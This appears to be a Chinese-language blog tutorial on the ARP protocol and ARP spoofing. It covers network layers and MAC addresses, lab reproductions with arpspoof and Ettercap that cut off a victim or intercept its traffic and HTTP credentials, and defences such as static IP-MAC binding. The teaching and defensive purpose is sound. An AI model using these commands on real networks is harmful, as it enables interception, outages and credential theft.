ARP 协议与 ARP 欺骗

2030 字
10 分钟
ARP 协议与 ARP 欺骗

一、网络基础#

1.1 OSI 七层模型#

层级名称作用
7应用层为用户提供网络服务(HTTP、FTP、SMTP等)
6表示层数据格式转换、加密、压缩
5会话层建立、管理和终止通信会话
4传输层端到端数据传输(TCP/UDP),负责可靠传输
3网络层地址管理和路由选择(IP协议)
2数据链路层在互连设备之间传送数据帧,MAC地址工作在此层
1物理层为数据传输提供物理链路(网线、光纤等)

1.2 TCP/IP 四层模型#

层级对应 OSI说明
应用层应用层 + 表示层 + 会话层HTTP、FTP、DNS、SMTP
传输层传输层TCP、UDP
网际层网络层IP、ICMP、ARP
网络接口层数据链路层 + 物理层以太网、WiFi

二、MAC 地址#

2.1 什么是 MAC 地址?#

属性说明
全称媒体访问控制地址(Media Access Control Address)
长度12 位十六进制数字,占用 48 bits
格式00-50-56-C0-00-01 或 00:50:56:C0:00:01
特点全球唯一,固化在网卡中
查看命令Windows:ipconfig /all

2.2 MAC 地址的作用#

  • 在数据链路层唯一标识网络设备
  • 用于同一链路(局域网)内的设备通信
  • 交换机依据 MAC 地址转发数据帧

三、ARP 协议#

3.1 什么是 ARP?#

ARP(Address Resolution Protocol,地址解析协议)的功能是将 IP 地址转换成 MAC 地址。

3.2 为什么需要 ARP?#

  • 网络层使用 IP 地址 标识主机
  • 数据链路层使用 MAC 地址 传输数据帧
  • 需要一种机制将 IP 地址映射到 MAC 地址 → ARP 协议

3.3 正常 ARP 工作流程#

假设:主机 A(192.168.1.2)想与主机 B(192.168.1.3)通信。

步骤 1:主机 A 检查本地 ARP 缓存表
↓ 没有主机 B 的 MAC 地址
步骤 2:主机 A 发送 ARP 请求包(广播)
问:"谁的 IP 是 192.168.1.3?请告诉我你的 MAC 地址"
↓ 同一链路所有主机都收到
步骤 3:主机 B 检查目标 IP 是自己的
主机 B 发送 ARP 响应包(单播)
答:"我是 192.168.1.3,我的 MAC 是 00-11-22-33-44-55"
↓
步骤 4:主机 A 收到响应,更新 ARP 缓存表
开始通信

3.4 ARP 缓存表#

为了减少 ARP 查询产生的网络流量,主机将 ARP 映射结果缓存在本地。

命令作用
arp -a查看 ARP 缓存表
arp -d删除 ARP 缓存(需管理员权限)

ARP 缓存有生存周期,超时后会重新查询。


四、ARP 攻击原理#

4.1 核心缺陷#

ARP 协议无身份验证机制:主机收到 ARP 响应包后,无条件信任并更新缓存表。

4.2 攻击场景#

网络中有 A、B、C 三台主机,A 与 B 正常通信,主机 C(攻击者) 实施 ARP 欺骗。

步骤 1:主机 C 给主机 A 发送 ARP 响应包
伪造:"主机 B 的 IP 对应主机 C 的 MAC"
↓
步骤 2:主机 A 收到后,更新 ARP 缓存表
将主机 B 的 IP 映射到主机 C 的 MAC
↓
步骤 3:主机 A 发往主机 B 的数据包,实际发给了主机 C
↓
步骤 4:主机 C 可以选择:
├── 不转发 → 主机 A 和 B 通信中断(断网攻击)
└── 转发数据包 → 中间人攻击(窃听通信内容)

4.3 攻击本质#

假冒”我是谁” 攻击者 MAC 地址 = 我(攻击者) 被冒充者 IP 地址 = 谁(目标 IP)


五、ARP 攻击的危害#

攻击类型说明
ARP 泛洪攻击向网关发送大量 ARP 报文,导致网关无法正常响应
断网攻击欺骗目标主机,让目标主机找不到网关,无法上网
中间人攻击(MITM)同时欺骗目标主机和网关,实现流量劫持和窃听
欺骗普通主机冒充其他主机的 MAC 身份
欺骗网关让网关误认为攻击者就是目标主机

六、ARP 攻击复现#

6.1 实验环境#

角色IP 地址系统
攻击机192.168.3.128Kali Linux
受害机192.168.3.155Ubuntu 靶机
网关192.168.3.1Windows

6.2 工具#

  • arpspoof:Kali 内置,用于发送 ARP 欺骗包
  • Wireshark:抓包分析
  • ettercap:中间人攻击 + 敏感数据窃取

6.3 攻击1:断网攻击#

Terminal window
# 语法:arpspoof -i 网卡 -t 目标IP 网关IP
# 告诉目标主机:我是网关(让目标主机把流量发给攻击者)
sudo arpspoof -i eth0 -t 192.168.3.155 192.168.3.1

效果: 受害主机无法上网(因为流量被引向攻击者,但攻击者未开启转发)。

停止: Ctrl + C 停止 arpspoof,受害机恢复网络。

6.4 攻击2:中间人攻击(MITM)#

步骤1:开启 IP 转发#

Terminal window
# 让 Kali 能够转发接收到的数据包
sudo echo 1 > /proc/sys/net/ipv4/ip_forward
值含义
0IP 转发关闭(默认)
1IP 转发开启

步骤2:欺骗目标主机#

Terminal window
# 让目标主机认为 Kali 是网关(正向欺骗)
sudo arpspoof -i eth0 -t 192.168.3.155 192.168.3.1

步骤3:欺骗网关#

Terminal window
# 让网关认为 Kali 是目标主机(反向欺骗)
sudo arpspoof -i eth0 -t 192.168.3.1 192.168.3.155

流量路径#

请求方向:
受害机(155)→ Kali(128)→ 网关(1)→ 互联网
响应方向:
互联网 → 网关(1)→ Kali(128)→ 受害机(155)

步骤4:使用 Wireshark 抓包验证#

Terminal window
# 启动 Wireshark,选择 eth0 网卡
# 在受害机上 ping Ubuntu 靶机(192.168.3.141)
# 在 Wireshark 中看到 ICMP 包 → 流量经过 Kali,验证成功

6.5 使用 Ettercap 窃取敏感数据#

Terminal window
# 启动 Ettercap(图形界面)
sudo ettercap -G

操作流程:

  1. 选择网卡(eth0)
  2. 扫描主机(Scan for hosts)
  3. 添加目标(目标主机和网关)
  4. 启用 ARP 欺骗(Mitm → ARP poisoning)
  5. 开始嗅探(Start → Start sniffing)

效果: 受害机登录 HTTP 网站时,用户名/密码会被 Ettercap 捕获显示。


七、ARP 防御#

7.1 主机级被动检测#

当主机收到 ARP 响应包时,检查发送端 IP 地址是否与自己的 IP 地址相同。如果相同,说明局域网内有另一台主机冒充自己。

7.2 主机级主动检测#

主机定期向局域网发送查询自己 IP 地址的 ARP 请求。如果收到另一台主机的响应,说明存在 IP 冲突(ARP 欺骗)。

7.3 服务器级检测#

收到 ARP 响应后,使用 RARP(反向地址解析协议)从 MAC 地址反查 IP 地址,比较两个 IP 是否一致。

7.4 网络级检测#

主机定期向中心管理主机报告 ARP 缓存内容,中心主机检查:

  • 不同主机报告信息是否一致
  • 同一主机前后报告内容是否变化

7.5 常见防御措施#

措施说明
IP-MAC 静态绑定在主机和交换机上绑定 IP 和 MAC 的对应关系
交换机端口安全限制端口允许的 MAC 地址数量
启用 ARP 防护在主机或交换机上开启 ARP 攻击防护功能
使用 VPN加密通信,防止数据被窃听
使用 HTTPS加密 HTTP 通信,防止敏感信息泄露

7.6 Windows 静态绑定#

# 查看 ARP 缓存
arp -a
# 静态绑定 IP-MAC
arp -s 192.168.1.1 00-11-22-33-44-55
# 删除静态绑定
arp -d 192.168.1.1

📌 快速参考卡片#

协议分层速记#

OSI 七层(从下往上):
物理层 → 数据链路层 → 网络层 → 传输层 → 会话层 → 表示层 → 应用层
口诀:物数网传会表应

ARP 攻击命令#

Terminal window
# 断网攻击
sudo arpspoof -i eth0 -t 目标IP 网关IP
# 中间人攻击(双向欺骗)
sudo echo 1 > /proc/sys/net/ipv4/ip_forward # 开启转发
sudo arpspoof -i eth0 -t 目标IP 网关IP # 欺骗目标
sudo arpspoof -i eth0 -t 网关IP 目标IP # 欺骗网关
# 查看 ARP 缓存(Windows/Linux)
arp -a
# 清除 ARP 缓存(需管理员)
arp -d
# 启动 Ettercap 图形界面
sudo ettercap -G

ARP 攻击流程#

1. 确定目标 IP 和网关 IP
2. 开启 IP 转发(中间人模式)
3. arpspoof 欺骗目标主机(我是网关)
4. arpspoof 欺骗网关(我是目标)
5. 用 Wireshark 或 Ettercap 抓取流量
6. 分析数据,提取敏感信息

防御要点#

✅ IP-MAC 静态绑定
✅ 交换机端口安全
✅ 使用 HTTPS 加密通信
✅ 启用 ARP 防护功能
✅ 定期监控 ARP 缓存变化

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

ARP 协议与 ARP 欺骗
https://blog.emberlag.com/posts/arp-and-arp-spoofing/
作者
3mb3rl4g
发布于
2026-09-18
许可协议
CC BY-NC-SA 4.0

评论区

Profile Image of the Author
3mb3rl4g
一名现实世界的沉默观察员
公告
把零散的思绪归档,我不着急写完,写得慢一点,刚好能让很久以后,还能在此刻的文字里找回共鸣。
分类
标签
最新动态
站点统计
文章
21
分类
2
标签
13
总字数
33,455
运行时长
0 天
最后活动
0 天前
文章目录